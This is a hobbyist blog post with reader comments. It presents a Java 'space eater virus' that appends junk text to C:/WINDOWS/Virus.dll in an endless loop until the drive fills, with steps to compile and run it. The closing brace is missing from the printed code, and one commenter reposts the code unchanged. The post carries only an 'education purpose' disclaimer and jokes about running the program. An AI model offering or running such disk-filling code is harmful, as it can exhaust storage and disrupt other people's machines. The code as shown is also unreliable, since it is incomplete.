Create an Space Eater Virus using JAVA

Hey guys. I'm back with some virus programming in JAVA. It's amazing that with some little logical concepts a Simple program can turn into a Virus. Here I'm going to show you how to create a Simlpe Space Eater Program using JAVA.
Warning:- This is for education purpose only. I'm not Responsible in case of any misuse .
without much delay lets get started:
  • Open Notepad and type the following virus code:

import java.io.*;
class Virus
{
public static void main(String ar[])
 {
   try
  {
   FileWriter f=new FileWriter("C:/WINDOWS/Virus.dll",true);
   while(true)
   {
   f.write("Programming Is Such A FUN !!!");
   }
  }
  catch(FileNotFoundException e){}
   catch(IOException e){}
 }


  • Save it as Virus.java
  • Now generate the byte code of program using Java Compiler.
  • When you execute this program It will start eating the space of your C drive. To stop this virus simply close the command window.
  • In order to recover the lost space of your drive. go to C:\WINDOWS and delete the file virus.dll (also from Recycle bin)
Explanation: On execution this program will create a file called virus.dll at the location C:\WINDOWS and start increasing its size by sending the junk data into it which automatically increase the size of the disk.

Warning:  you can try this on your computer too. lol :P

Notice: For any issues related with Program Compiling or JRE take a look at Compile JAVA program. For any queries realted with concept of this program ping me on FACEBOOK
Previous
Next Post »

15 comments

Click here for comments
Anonymous
admin
16 May 2012 at 03:50 ×

hii
kindly help me to create an antivirus and virus using Java
please write it step by step.
i will Making Anti-Virus, which holds the virus
kindly help...

Reply
avatar
Anonymous
admin
16 May 2012 at 03:52 ×

hiiii in my project final
i will Making Anti-Virus, which holds the virus
i need help

Reply
avatar
Gaurav Singh
admin
17 May 2012 at 11:39 ×

Writing an Antivirus takes lots of time and hard work as you need to include multiple virus definitions with it.
But it also seems that you don't have much time though I suggest you to go for any open Source projects. There are around 103 projects currently running. I would suggest CalmWin.
Drop a mail in my inbox with details. I'll try to help in every possible way. :)

Reply
avatar
Anonymous
admin
22 May 2012 at 03:28 ×

hii..i'm try to doing this program but when i try to execute this, there are some error that say "could not find or load main class virus"..could you tell me what the problem?

Reply
avatar
Gaurav Singh
admin
25 May 2012 at 12:17 ×

After copying the code you also need to compile it in order to get the virus.class file.
Refer to this for compilation process
http://hackthedark.blogspot.com/2011/09/install-jdk-and-run-first-java-program.html

Reply
avatar
Unknown
admin
9 September 2012 at 01:18 ×

hi i have an antivirus i developed it in my project in java, its called c-worm scanner specialy designed to detect c-worm..
ie the network virus.if u want a copy of source code ,,just e-mail me..my id is:-mytricksplus@gmail.com....enjoy!

Reply
avatar
Anonymous
admin
29 November 2012 at 03:41 ×

Actually I don't want this code.ok........................
Pavan519...

Reply
avatar
Unknown
admin
31 July 2013 at 10:59 ×

helo this program is when activate run time or compile time

Reply
avatar
Anonymous
admin
17 August 2013 at 09:53 ×

I m getting an error while running in cmd : exception in thread "main" java.lang.NoClassDefFoundError:

Reply
avatar
mohammed
admin
23 August 2015 at 08:44 ×

for those who face this error
exception in thread "main" java.lang.NoClassDefFoundError:
you must install jdk inorder to run then
in cmd go to the directory that you saved Virus.java and type
javac Virus.java //this will compile your code and generate Virus.class
to run your code type
java Virus

Reply
avatar
Unknown
admin
15 September 2015 at 12:28 ×

import java.io.*;
class Virus
{
public static void main(String ar[])
 {
   try
  {
   FileWriter f=new FileWriter("C:/WINDOWS/Virus.dll",true);
   while(true)
   {
   f.write("Programming Is Such A FUN !!!");
   }
  }
  catch(FileNotFoundException e){}
   catch(IOException e){}
 }

Reply
avatar
Anonymous
admin
17 October 2015 at 05:12 ×

Its not a virus,simple file handling programme

Reply
avatar